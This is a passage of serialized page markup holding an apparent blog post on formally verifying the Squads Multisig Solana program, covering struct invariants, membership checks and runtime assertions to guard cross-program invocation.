props":26672,"children":26673},{"style":354},[26674],{"type":28,"value":2737},{"type":23,"tag":314,"props":26676,"children":26677},{"style":332},[26678],{"type":28,"value":18711},{"type":23,"tag":314,"props":26680,"children":26681},{"style":338},[26682],{"type":28,"value":341},{"type":23,"tag":314,"props":26684,"children":26685},{"style":321},[26686],{"type":28,"value":12961},{"type":23,"tag":314,"props":26688,"children":26689},{"style":354},[26690],{"type":28,"value":282},{"type":23,"tag":314,"props":26692,"children":26693},{"style":338},[26694],{"type":28,"value":25335},{"type":23,"tag":314,"props":26696,"children":26697},{"class":316,"line":1141},[26698,26703,26707,26711,26715,26719,26723,26727,26731,26735,26739,26743,26747,26751,26755,26759],{"type":23,"tag":314,"props":26699,"children":26700},{"style":321},[26701],{"type":28,"value":26702}," self",{"type":23,"tag":314,"props":26704,"children":26705},{"style":354},[26706],{"type":28,"value":282},{"type":23,"tag":314,"props":26708,"children":26709},{"style":338},[26710],{"type":28,"value":20308},{"type":23,"tag":314,"props":26712,"children":26713},{"style":354},[26714],{"type":28,"value":1102},{"type":23,"tag":314,"props":26716,"children":26717},{"style":321},[26718],{"type":28,"value":13044},{"type":23,"tag":314,"props":26720,"children":26721},{"style":354},[26722],{"type":28,"value":282},{"type":23,"tag":314,"props":26724,"children":26725},{"style":338},[26726],{"type":28,"value":20220},{"type":23,"tag":314,"props":26728,"children":26729},{"style":354},[26730],{"type":28,"value":282},{"type":23,"tag":314,"props":26732,"children":26733},{"style":332},[26734],{"type":28,"value":8389},{"type":23,"tag":314,"props":26736,"children":26737},{"style":338},[26738],{"type":28,"value":13126},{"type":23,"tag":314,"props":26740,"children":26741},{"style":354},[26742],{"type":28,"value":282},{"type":23,"tag":314,"props":26744,"children":26745},{"style":332},[26746],{"type":28,"value":25408},{"type":23,"tag":314,"props":26748,"children":26749},{"style":338},[26750],{"type":28,"value":13126},{"type":23,"tag":314,"props":26752,"children":26753},{"style":354},[26754],{"type":28,"value":282},{"type":23,"tag":314,"props":26756,"children":26757},{"style":332},[26758],{"type":28,"value":2921},{"type":23,"tag":314,"props":26760,"children":26761},{"style":338},[26762],{"type":28,"value":2926},{"type":23,"tag":314,"props":26764,"children":26765},{"class":316,"line":1173},[26766],{"type":23,"tag":314,"props":26767,"children":26768},{"style":338},[26769],{"type":28,"value":2602},{"type":23,"tag":314,"props":26771,"children":26772},{"class":316,"line":1208},[26773],{"type":23,"tag":314,"props":26774,"children":26775},{"style":338},[26776],{"type":28,"value":2610},{"type":23,"tag":314,"props":26778,"children":26779},{"class":316,"line":1216},[26780,26784],{"type":23,"tag":314,"props":26781,"children":26782},{"style":2674},[26783],{"type":28,"value":13580},{"type":23,"tag":314,"props":26785,"children":26786},{"style":338},[26787],{"type":28,"value":13585},{"type":23,"tag":314,"props":26789,"children":26790},{"class":316,"line":1301},[26791],{"type":23,"tag":314,"props":26792,"children":26793},{"style":338},[26794],{"type":28,"value":386},{"type":23,"tag":24,"props":26796,"children":26797},{},[26798,26800,26805,26807,26813,26815,26821,26823,26828],{"type":28,"value":26799},"Inside ",{"type":23,"tag":94,"props":26801,"children":26803},{"className":26802},[],[26804],{"type":28,"value":26459},{"type":28,"value":26806},", we see that it performs a ",{"type":23,"tag":94,"props":26808,"children":26810},{"className":26809},[],[26811],{"type":28,"value":26812},"binary_search",{"type":28,"value":26814}," on the keys vec and returns the index or ",{"type":23,"tag":94,"props":26816,"children":26818},{"className":26817},[],[26819],{"type":28,"value":26820},"None",{"type":28,"value":26822},". Since the vec has size zero, this will just return ",{"type":23,"tag":94,"props":26824,"children":26826},{"className":26825},[],[26827],{"type":28,"value":26820},{"type":28,"value":282},{"type":23,"tag":304,"props":26830,"children":26832},{"code":26831,"language":2233,"meta":7,"className":2234,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[26833],{"type":23,"tag":94,"props":26834,"children":26835},{"__ignoreMap":7},[26836,26905,26948,26987,27009,27016],{"type":23,"tag":314,"props":26837,"children":26838},{"class":316,"line":317},[26839,26843,26847,26852,26856,26860,26864,26868,26872,26876,26880,26884,26888,26893,26897,26901],{"type":23,"tag":314,"props":26840,"children":26841},{"style":321},[26842],{"type":28,"value":12938},{"type":23,"tag":314,"props":26844,"children":26845},{"style":321},[26846],{"type":28,"value":12943},{"type":23,"tag":314,"props":26848,"children":26849},{"style":332},[26850],{"type":28,"value":26851}," is_member",{"type":23,"tag":314,"props":26853,"children":26854},{"style":338},[26855],{"type":28,"value":341},{"type":23,"tag":314,"props":26857,"children":26858},{"style":354},[26859],{"type":28,"value":1833},{"type":23,"tag":314,"props":26861,"children":26862},{"style":321},[26863],{"type":28,"value":12961},{"type":23,"tag":314,"props":26865,"children":26866},{"style":338},[26867],{"type":28,"value":778},{"type":23,"tag":314,"props":26869,"children":26870},{"style":360},[26871],{"type":28,"value":26515},{"type":23,"tag":314,"props":26873,"children":26874},{"style":354},[26875],{"type":28,"value":3746},{"type":23,"tag":314,"props":26877,"children":26878},{"style":2674},[26879],{"type":28,"value":20094},{"type":23,"tag":314,"props":26881,"children":26882},{"style":338},[26883],{"type":28,"value":2343},{"type":23,"tag":314,"props":26885,"children":26886},{"style":354},[26887],{"type":28,"value":1015},{"type":23,"tag":314,"props":26889,"children":26890},{"style":2674},[26891],{"type":28,"value":26892}," Option",{"type":23,"tag":314,"props":26894,"children":26895},{"style":338},[26896],{"type":28,"value":5060},{"type":23,"tag":314,"props":26898,"children":26899},{"style":2674},[26900],{"type":28,"value":15841},{"type":23,"tag":314,"props":26902,"children":26903},{"style":338},[26904],{"type":28,"value":6536},{"type":23,"tag":314,"props":26906,"children":26907},{"class":316,"line":370},[26908,26912,26916,26920,26924,26928,26932,26936,26940,26944],{"type":23,"tag":314,"props":26909,"children":26910},{"style":2284},[26911],{"type":28,"value":13996},{"type":23,"tag":314,"props":26913,"children":26914},{"style":321},[26915],{"type":28,"value":13044},{"type":23,"tag":314,"props":26917,"children":26918},{"style":354},[26919],{"type":28,"value":282},{"type":23,"tag":314,"props":26921,"children":26922},{"style":338},[26923],{"type":28,"value":20220},{"type":23,"tag":314,"props":26925,"children":26926},{"style":354},[26927],{"type":28,"value":282},{"type":23,"tag":314,"props":26929,"children":26930},{"style":332},[26931],{"type":28,"value":26812},{"type":23,"tag":314,"props":26933,"children":26934},{"style":338},[26935],{"type":28,"value":341},{"type":23,"tag":314,"props":26937,"children":26938},{"style":354},[26939],{"type":28,"value":1833},{"type":23,"tag":314,"props":26941,"children":26942},{"style":360},[26943],{"type":28,"value":26515},{"type":23,"tag":314,"props":26945,"children":26946},{"style":338},[26947],{"type":28,"value":367},{"type":23,"tag":314,"props":26949,"children":26950},{"class":316,"line":380},[26951,26955,26959,26963,26967,26971,26975,26979,26983],{"type":23,"tag":314,"props":26952,"children":26953},{"style":2674},[26954],{"type":28,"value":14054},{"type":23,"tag":314,"props":26956,"children":26957},{"style":338},[26958],{"type":28,"value":341},{"type":23,"tag":314,"props":26960,"children":26961},{"style":360},[26962],{"type":28,"value":26565},{"type":23,"tag":314,"props":26964,"children":26965},{"style":338},[26966],{"type":28,"value":2343},{"type":23,"tag":314,"props":26968,"children":26969},{"style":354},[26970],{"type":28,"value":14064},{"type":23,"tag":314,"props":26972,"children":26973},{"style":2674},[26974],{"type":28,"value":26556},{"type":23,"tag":314,"props":26976,"children":26977},{"style":338},[26978],{"type":28,"value":341},{"type":23,"tag":314,"props":26980,"children":26981},{"style":360},[26982],{"type":28,"value":26565},{"type":23,"tag":314,"props":26984,"children":26985},{"style":338},[26986],{"type":28,"value":5992},{"type":23,"tag":314,"props":26988,"children":26989},{"class":316,"line":1091},[26990,26995,27000,27005],{"type":23,"tag":314,"props":26991,"children":26992},{"style":360},[26993],{"type":28,"value":26994}," _",{"type":23,"tag":314,"props":26996,"children":26997},{"style":354},[26998],{"type":28,"value":26999}," =>",{"type":23,"tag":314,"props":27001,"children":27002},{"style":2674},[27003],{"type":28,"value":27004}," None",{"type":23,"tag":314,"props":27006,"children":27007},{"style":338},[27008],{"type":28,"value":1870},{"type":23,"tag":314,"props":27010,"children":27011},{"class":316,"line":1141},[27012],{"type":23,"tag":314,"props":27013,"children":27014},{"style":338},[27015],{"type":28,"value":2610},{"type":23,"tag":314,"props":27017,"children":27018},{"class":316,"line":1173},[27019],{"type":23,"tag":314,"props":27020,"children":27021},{"style":338},[27022],{"type":28,"value":386},{"type":23,"tag":24,"props":27024,"children":27025},{},[27026,27028,27033,27035,27040,27042,27047,27049,27054],{"type":28,"value":27027},"So interestingly, a ",{"type":23,"tag":94,"props":27029,"children":27031},{"className":27030},[],[27032],{"type":28,"value":20220},{"type":28,"value":27034}," vec of size 0 ",{"type":23,"tag":186,"props":27036,"children":27037},{},[27038],{"type":28,"value":27039},"is actually",{"type":28,"value":27041}," a sufficient condition to execute ",{"type":23,"tag":94,"props":27043,"children":27045},{"className":27044},[],[27046],{"type":28,"value":24712},{"type":28,"value":27048},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":186,"props":27050,"children":27051},{},[27052],{"type":28,"value":27053},"valid",{"type":28,"value":27055}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":27057,"children":27058},{},[27059,27061,27066],{"type":28,"value":27060},"We can represent this ",{"type":23,"tag":186,"props":27062,"children":27063},{},[27064],{"type":28,"value":27065},"validity",{"type":28,"value":27067}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":304,"props":27069,"children":27071},{"code":27070,"language":2233,"meta":7,"className":2234,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[27072],{"type":23,"tag":94,"props":27073,"children":27074},{"__ignoreMap":7},[27075,27082,27105,27156,27163],{"type":23,"tag":314,"props":27076,"children":27077},{"class":316,"line":317},[27078],{"type":23,"tag":314,"props":27079,"children":27080},{"style":338},[27081],{"type":28,"value":20015},{"type":23,"tag":314,"props":27083,"children":27084},{"class":316,"line":370},[27085,27089,27093,27097,27101],{"type":23,"tag":314,"props":27086,"children":27087},{"style":338},[27088],{"type":28,"value":23975},{"type":23,"tag":314,"props":27090,"children":27091},{"style":354},[27092],{"type":28,"value":282},{"type":23,"tag":314,"props":27094,"children":27095},{"style":338},[27096],{"type":28,"value":20308},{"type":23,"tag":314,"props":27098,"children":27099},{"style":354},[27100],{"type":28,"value":9191},{"type":23,"tag":314,"props":27102,"children":27103},{"style":338},[27104],{"type":28,"value":20317},{"type":23,"tag":314,"props":27106,"children":27107},{"class":316,"line":380},[27108,27112,27116,27120,27124,27128,27132,27136,27140,27144,27148,27152],{"type":23,"tag":314,"props":27109,"children":27110},{"style":354},[27111],{"type":28,"value":14863},{"type":23,"tag":314,"props":27113,"children":27114},{"style":338},[27115],{"type":28,"value":20241},{"type":23,"tag":314,"props":27117,"children":27118},{"style":354},[27119],{"type":28,"value":282},{"type":23,"tag":314,"props":27121,"children":27122},{"style":338},[27123],{"type":28,"value":20308},{"type":23,"tag":314,"props":27125,"children":27126},{"style":321},[27127],{"type":28,"value":8094},{"type":23,"tag":314,"props":27129,"children":27130},{"style":2674},[27131],{"type":28,"value":12979},{"type":23,"tag":314,"props":27133,"children":27134},{"style":354},[27135],{"type":28,"value":7451},{"type":23,"tag":314,"props":27137,"children":27138},{"style":338},[27139],{"type":28,"value":13044},{"type":23,"tag":314,"props":27141,"children":27142},{"style":354},[27143],{"type":28,"value":282},{"type":23,"tag":314,"props":27145,"children":27146},{"style":338},[27147],{"type":28,"value":20220},{"type":23,"tag":314,"props":27149,"children":27150},{"style":354},[27151],{"type":28,"value":282},{"type":23,"tag":314,"props":27153,"children":27154},{"style":338},[27155],{"type":28,"value":20369},{"type":23,"tag":314,"props":27157,"children":27158},{"class":316,"line":1091},[27159],{"type":23,"tag":314,"props":27160,"children":27161},{"style":338},[27162],{"type":28,"value":19496},{"type":23,"tag":314,"props":27164,"children":27165},{"class":316,"line":1141},[27166,27170,27174,27178,27182,27186],{"type":23,"tag":314,"props":27167,"children":27168},{"style":321},[27169],{"type":28,"value":12938},{"type":23,"tag":314,"props":27171,"children":27172},{"style":321},[27173],{"type":28,"value":20388},{"type":23,"tag":314,"props":27175,"children":27176},{"style":2674},[27177],{"type":28,"value":20393},{"type":23,"tag":314,"props":27179,"children":27180},{"style":338},[27181],{"type":28,"value":1242},{"type":23,"tag":314,"props":27183,"children":27184},{"style":354},[27185],{"type":28,"value":8840},{"type":23,"tag":314,"props":27187,"children":27188},{"style":338},[27189],{"type":28,"value":8845},{"type":23,"tag":24,"props":27191,"children":27192},{},[27193,27195,27201,27203,27209],{"type":28,"value":27194},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":94,"props":27196,"children":27198},{"className":27197},[],[27199],{"type":28,"value":27200},"keys.len() == 0",{"type":28,"value":27202}," and allows us to prove the biconditional ",{"type":23,"tag":94,"props":27204,"children":27206},{"className":27205},[],[27207],{"type":28,"value":27208},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":282},{"type":23,"tag":837,"props":27211,"children":27213},{"id":27212},"safety-guarantees",[27214],{"type":28,"value":22022},{"type":23,"tag":24,"props":27216,"children":27217},{},[27218],{"type":28,"value":27219},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":27221,"children":27222},{},[27223],{"type":28,"value":27224},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":27226,"children":27227},{},[27228,27230,27236],{"type":28,"value":27229},"In the multisig program this happens in the ",{"type":23,"tag":94,"props":27231,"children":27233},{"className":27232},[],[27234],{"type":28,"value":27235},"execute_transaction",{"type":28,"value":27237}," instruction.",{"type":23,"tag":24,"props":27239,"children":27240},{},[27241],{"type":23,"tag":186,"props":27242,"children":27243},{},[27244],{"type":28,"value":27245},"So what do you do?",{"type":23,"tag":24,"props":27247,"children":27248},{},[27249],{"type":28,"value":27250},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":304,"props":27252,"children":27254},{"code":27253,"language":2233,"meta":7,"className":2234,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[27255],{"type":23,"tag":94,"props":27256,"children":27257},{"__ignoreMap":7},[27258,27273,27289,27304,27345,27352,27359,27366,27383,27399,27420,27427,27434,27450,27470,27498,27505,27512,27519,27527,27580,27606,27613,27642,27666,27701,27708,27719],{"type":23,"tag":314,"props":27259,"children":27260},{"class":316,"line":317},[27261,27265,27269],{"type":23,"tag":314,"props":27262,"children":27263},{"style":338},[27264],{"type":28,"value":22075},{"type":23,"tag":314,"props":27266,"children":27267},{"style":2674},[27268],{"type":28,"value":22080},{"type":23,"tag":314,"props":27270,"children":27271},{"style":338},[27272],{"type":28,"value":19496},{"type":23,"tag":314,"props":27274,"children":27275},{"class":316,"line":370},[27276,27280,27285],{"type":23,"tag":314,"props":27277,"children":27278},{"style":321},[27279],{"type":28,"value":12938},{"type":23,"tag":314,"props":27281,"children":27282},{"style":2674},[27283],{"type":28,"value":27284}," MyCtx",{"type":23,"tag":314,"props":27286,"children":27287},{"style":338},[27288],{"type":28,"value":1449},{"type":23,"tag":314,"props":27290,"children":27291},{"class":316,"line":380},[27292,27296,27300],{"type":23,"tag":314,"props":27293,"children":27294},{"style":338},[27295],{"type":28,"value":22367},{"type":23,"tag":314,"props":27297,"children":27298},{"style":321},[27299],{"type":28,"value":2979},{"type":23,"tag":314,"props":27301,"children":27302},{"style":338},[27303],{"type":28,"value":19496},{"type":23,"tag":314,"props":27305,"children":27306},{"class":316,"line":1091},[27307,27311,27316,27320,27324,27328,27332,27336,27341],{"type":23,"tag":314,"props":27308,"children":27309},{"style":321},[27310],{"type":28,"value":20080},{"type":23,"tag":314,"props":27312,"children":27313},{"style":360},[27314],{"type":28,"value":27315}," my_account",{"type":23,"tag":314,"props":27317,"children":27318},{"style":354},[27319],{"type":28,"value":3746},{"type":23,"tag":314,"props":27321,"children":27322},{"style":2674},[27323],{"type":28,"value":22332},{"type":23,"tag":314,"props":27325,"children":27326},{"style":338},[27327],{"type":28,"value":22160},{"type":23,"tag":314,"props":27329,"children":27330},{"style":2674},[27331],{"type":28,"value":22165},{"type":23,"tag":314,"props":27333,"children":27334},{"style":338},[27335],{"type":28,"value":778},{"type":23,"tag":314,"props":27337,"children":27338},{"style":2674},[27339],{"type":28,"value":27340},"Acc",{"type":23,"tag":314,"props":27342,"children":27343},{"style":338},[27344],{"type":28,"value":5247},{"type":23,"tag":314,"props":27346,"children":27347},{"class":316,"line":1141},[27348],{"type":23,"tag":314,"props":27349,"children":27350},{"style":338},[27351],{"type":28,"value":386},{"type":23,"tag":314,"props":27353,"children":27354},{"class":316,"line":1173},[27355],{"type":23,"tag":314,"props":27356,"children":27357},{"emptyLinePlaceholder":18},[27358],{"type":28,"value":1088},{"type":23,"tag":314,"props":27360,"children":27361},{"class":316,"line":1208},[27362],{"type":23,"tag":314,"props":27363,"children":27364},{"style":338},[27365],{"type":28,"value":20007},{"type":23,"tag":314,"props":27367,"children":27368},{"class":316,"line":1216},[27369,27374,27378],{"type":23,"tag":314,"props":27370,"children":27371},{"style":338},[27372],{"type":28,"value":27373},"#[invariant(bad ",{"type":23,"tag":314,"props":27375,"children":27376},{"style":354},[27377],{"type":28,"value":7828},{"type":23,"tag":314,"props":27379,"children":27380},{"style":338},[27381],{"type":28,"value":27382}," false)]\n",{"type":23,"tag":314,"props":27384,"children":27385},{"class":316,"line":1301},[27386,27390,27395],{"type":23,"tag":314,"props":27387,"children":27388},{"style":321},[27389],{"type":28,"value":8651},{"type":23,"tag":314,"props":27391,"children":27392},{"style":2674},[27393],{"type":28,"value":27394}," Acc",{"type":23,"tag":314,"props":27396,"children":27397},{"style":338},[27398],{"type":28,"value":1449},{"type":23,"tag":314,"props":27400,"children":27401},{"class":316,"line":1343},[27402,27406,27411,27415],{"type":23,"tag":314,"props":27403,"children":27404},{"style":321},[27405],{"type":28,"value":20080},{"type":23,"tag":314,"props":27407,"children":27408},{"style":360},[27409],{"type":28,"value":27410}," bad",{"type":23,"tag":314,"props":27412,"children":27413},{"style":354},[27414],{"type":28,"value":3746},{"type":23,"tag":314,"props":27416,"children":27417},{"style":2674},[27418],{"type":28,"value":27419}," bool\n",{"type":23,"tag":314,"props":27421,"children":27422},{"class":316,"line":1351},[27423],{"type":23,"tag":314,"props":27424,"children":27425},{"style":338},[27426],{"type":28,"value":386},{"type":23,"tag":314,"props":27428,"children":27429},{"class":316,"line":1387},[27430],{"type":23,"tag":314,"props":27431,"children":27432},{"emptyLinePlaceholder":18},[27433],{"type":28,"value":1088},{"type":23,"tag":314,"props":27435,"children":27436},{"class":316,"line":1422},[27437,27442,27446],{"type":23,"tag":314,"props":27438,"children":27439},{"style":321},[27440],{"type":28,"value":27441},"impl",{"type":23,"tag":314,"props":27443,"children":27444},{"style":2674},[27445],{"type":28,"value":27394},{"type":23,"tag":314,"props":27447,"children":27448},{"style":338},[27449],{"type":28,"value":1449},{"type":23,"tag":314,"props":27451,"children":27452},{"class":316,"line":1430},[27453,27457,27461,27466],{"type":23,"tag":314,"props":27454,"children":27455},{"style":321},[27456],{"type":28,"value":20080},{"type":23,"tag":314,"props":27458,"children":27459},{"style":321},[27460],{"type":28,"value":12943},{"type":23,"tag":314,"props":27462,"children":27463},{"style":332},[27464],{"type":28,"value":27465}," put_into_bad_state",{"type":23,"tag":314,"props":27467,"children":27468},{"style":338},[27469],{"type":28,"value":14977},{"type":23,"tag":314,"props":27471,"children":27472},{"class":316,"line":1452},[27473,27477,27481,27486,27490,27494],{"type":23,"tag":314,"props":27474,"children":27475},{"style":321},[27476],{"type":28,"value":26606},{"type":23,"tag":314,"props":27478,"children":27479},{"style":354},[27480],{"type":28,"value":282},{"type":23,"tag":314,"props":27482,"children":27483},{"style":338},[27484],{"type":28,"value":27485},"bad ",{"type":23,"tag":314,"props":27487,"children":27488},{"style":354},[27489],{"type":28,"value":1102},{"type":23,"tag":314,"props":27491,"children":27492},{"style":321},[27493],{"type":28,"value":11717},{"type":23,"tag":314,"props":27495,"children":27496},{"style":338},[27497],{"type":28,"value":2278},{"type":23,"tag":314,"props":27499,"children":27500},{"class":316,"line":1497},[27501],{"type":23,"tag":314,"props":27502,"children":27503},{"style":338},[27504],{"type":28,"value":2610},{"type":23,"tag":314,"props":27506,"children":27507},{"class":316,"line":1539},[27508],{"type":23,"tag":314,"props":27509,"children":27510},{"style":338},[27511],{"type":28,"value":386},{"type":23,"tag":314,"props":27513,"children":27514},{"class":316,"line":1548},[27515],{"type":23,"tag":314,"props":27516,"children":27517},{"emptyLinePlaceholder":18},[27518],{"type":28,"value":1088},{"type":23,"tag":314,"props":27520,"children":27521},{"class":316,"line":1584},[27522],{"type":23,"tag":314,"props":27523,"children":27524},{"style":374},[27525],{"type":28,"value":27526},"// Instruction handler:\n",{"type":23,"tag":314,"props":27528,"children":27529},{"class":316,"line":1617},[27530,27534,27539,27543,27547,27551,27555,27559,27564,27568,27572,27576],{"type":23,"tag":314,"props":27531,"children":27532},{"style":321},[27533],{"type":28,"value":19504},{"type":23,"tag":314,"props":27535,"children":27536},{"style":332},[27537],{"type":28,"value":27538}," hard_to_verify",{"type":23,"tag":314,"props":27540,"children":27541},{"style":338},[27542],{"type":28,"value":341},{"type":23,"tag":314,"props":27544,"children":27545},{"style":360},[27546],{"type":28,"value":19518},{"type":23,"tag":314,"props":27548,"children":27549},{"style":354},[27550],{"type":28,"value":3746},{"type":23,"tag":314,"props":27552,"children":27553},{"style":2674},[27554],{"type":28,"value":19527},{"type":23,"tag":314,"props":27556,"children":27557},{"style":338},[27558],{"type":28,"value":5060},{"type":23,"tag":314,"props":27560,"children":27561},{"style":2674},[27562],{"type":28,"value":27563},"MyCtx",{"type":23,"tag":314,"props":27565,"children":27566},{"style":338},[27567],{"type":28,"value":19684},{"type":23,"tag":314,"props":27569,"children":27570},{"style":354},[27571],{"type":28,"value":1015},{"type":23,"tag":314,"props":27573,"children":27574},{"style":2674},[27575],{"type":28,"value":13009},{"type":23,"tag":314,"props":27577,"children":27578},{"style":338},[27579],{"type":28,"value":19569},{"type":23,"tag":314,"props":27581,"children":27582},{"class":316,"line":1625},[27583,27588,27592,27596,27601],{"type":23,"tag":314,"props":27584,"children":27585},{"style":332},[27586],{"type":28,"value":27587}," invoke_signed",{"type":23,"tag":314,"props":27589,"children":27590},{"style":338},[27591],{"type":28,"value":341},{"type":23,"tag":314,"props":27593,"children":27594},{"style":354},[27595],{"type":28,"value":8840},{"type":23,"tag":314,"props":27597,"children":27598},{"style":338},[27599],{"type":28,"value":27600},"); ",{"type":23,"tag":314,"props":27602,"children":27603},{"style":374},[27604],{"type":28,"value":27605},"// Cross-program invocation\n",{"type":23,"tag":314,"props":27607,"children":27608},{"class":316,"line":1660},[27609],{"type":23,"tag":314,"props":27610,"children":27611},{"emptyLinePlaceholder":18},[27612],{"type":28,"value":1088},{"type":23,"tag":314,"props":27614,"children":27615},{"class":316,"line":1708},[27616,27620,27625,27629,27633,27637],{"type":23,"tag":314,"props":27617,"children":27618},{"style":321},[27619],{"type":28,"value":2254},{"type":23,"tag":314,"props":27621,"children":27622},{"style":360},[27623],{"type":28,"value":27624}," invoke_res",{"type":23,"tag":314,"props":27626,"children":27627},{"style":354},[27628],{"type":28,"value":1237},{"type":23,"tag":314,"props":27630,"children":27631},{"style":354},[27632],{"type":28,"value":24545},{"type":23,"tag":314,"props":27634,"children":27635},{"style":338},[27636],{"type":28,"value":16466},{"type":23,"tag":314,"props":27638,"children":27639},{"style":374},[27640],{"type":28,"value":27641},"// fetch result of invocation\n",{"type":23,"tag":314,"props":27643,"children":27644},{"class":316,"line":1743},[27645,27649,27653,27657,27662],{"type":23,"tag":314,"props":27646,"children":27647},{"style":2284},[27648],{"type":28,"value":11527},{"type":23,"tag":314,"props":27650,"children":27651},{"style":360},[27652],{"type":28,"value":27624},{"type":23,"tag":314,"props":27654,"children":27655},{"style":354},[27656],{"type":28,"value":2537},{"type":23,"tag":314,"props":27658,"children":27659},{"style":1054},[27660],{"type":28,"value":27661}," 5",{"type":23,"tag":314,"props":27663,"children":27664},{"style":338},[27665],{"type":28,"value":1449},{"type":23,"tag":314,"props":27667,"children":27668},{"class":316,"line":1751},[27669,27673,27677,27682,27686,27691,27696],{"type":23,"tag":314,"props":27670,"children":27671},{"style":360},[27672],{"type":28,"value":25432},{"type":23,"tag":314,"props":27674,"children":27675},{"style":354},[27676],{"type":28,"value":282},{"type":23,"tag":314,"props":27678,"children":27679},{"style":338},[27680],{"type":28,"value":27681},"my_account",{"type":23,"tag":314,"props":27683,"children":27684},{"style":354},[27685],{"type":28,"value":282},{"type":23,"tag":314,"props":27687,"children":27688},{"style":332},[27689],{"type":28,"value":27690},"put_into_bad_state",{"type":23,"tag":314,"props":27692,"children":27693},{"style":338},[27694],{"type":28,"value":27695},"(); ",{"type":23,"tag":314,"props":27697,"children":27698},{"style":374},[27699],{"type":28,"value":27700},"// corrupt our account\n",{"type":23,"tag":314,"props":27702,"children":27703},{"class":316,"line":1791},[27704],{"type":23,"tag":314,"props":27705,"children":27706},{"style":338},[27707],{"type":28,"value":2610},{"type":23,"tag":314,"props":27709,"children":27710},{"class":316,"line":1805},[27711,27715],{"type":23,"tag":314,"props":27712,"children":27713},{"style":2674},[27714],{"type":28,"value":13580},{"type":23,"tag":314,"props":27716,"children":27717},{"style":338},[27718],{"type":28,"value":13585},{"type":23,"tag":314,"props":27720,"children":27721},{"class":316,"line":1818},[27722],{"type":23,"tag":314,"props":27723,"children":27724},{"style":338},[27725],{"type":28,"value":386},{"type":23,"tag":24,"props":27727,"children":27728},{},[27729,27731,27736],{"type":28,"value":27730},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":94,"props":27732,"children":27734},{"className":27733},[],[27735],{"type":28,"value":27681},{"type":28,"value":27737},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":27739,"children":27740},{},[27741],{"type":28,"value":27742},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":27744,"children":27745},{},[27746,27748,27753],{"type":28,"value":27747},"However, we can ",{"type":23,"tag":186,"props":27749,"children":27750},{},[27751],{"type":28,"value":27752},"augment",{"type":28,"value":27754}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":27756,"children":27757},{},[27758],{"type":28,"value":27759},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":304,"props":27761,"children":27763},{"code":27762,"language":2233,"meta":7,"className":2234,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[27764],{"type":23,"tag":94,"props":27765,"children":27766},{"__ignoreMap":7},[27767,27775,27826,27849,27856,27883,27906,27937,27944,27951,27959,27994,28001,28012],{"type":23,"tag":314,"props":27768,"children":27769},{"class":316,"line":317},[27770],{"type":23,"tag":314,"props":27771,"children":27772},{"style":354},[27773],{"type":28,"value":27774},"...\n",{"type":23,"tag":314,"props":27776,"children":27777},{"class":316,"line":370},[27778,27782,27786,27790,27794,27798,27802,27806,27810,27814,27818,27822],{"type":23,"tag":314,"props":27779,"children":27780},{"style":321},[27781],{"type":28,"value":19504},{"type":23,"tag":314,"props":27783,"children":27784},{"style":332},[27785],{"type":28,"value":27538},{"type":23,"tag":314,"props":27787,"children":27788},{"style":338},[27789],{"type":28,"value":341},{"type":23,"tag":314,"props":27791,"children":27792},{"style":360},[27793],{"type":28,"value":19518},{"type":23,"tag":314,"props":27795,"children":27796},{"style":354},[27797],{"type":28,"value":3746},{"type":23,"tag":314,"props":27799,"children":27800},{"style":2674},[27801],{"type":28,"value":19527},{"type":23,"tag":314,"props":27803,"children":27804},{"style":338},[27805],{"type":28,"value":5060},{"type":23,"tag":314,"props":27807,"children":27808},{"style":2674},[27809],{"type":28,"value":27563},{"type":23,"tag":314,"props":27811,"children":27812},{"style":338},[27813],{"type":28,"value":19684},{"type":23,"tag":314,"props":27815,"children":27816},{"style":354},[27817],{"type":28,"value":1015},{"type":23,"tag":314,"props":27819,"children":27820},{"style":2674},[27821],{"type":28,"value":13009},{"type":23,"tag":314,"props":27823,"children":27824},{"style":338},[27825],{"type":28,"value":19569},{"type":23,"tag":314,"props":27827,"children":27828},{"class":316,"line":380},[27829,27833,27837,27841,27845],{"type":23,"tag":314,"props":27830,"children":27831},{"style":332},[27832],{"type":28,"value":27587},{"type":23,"tag":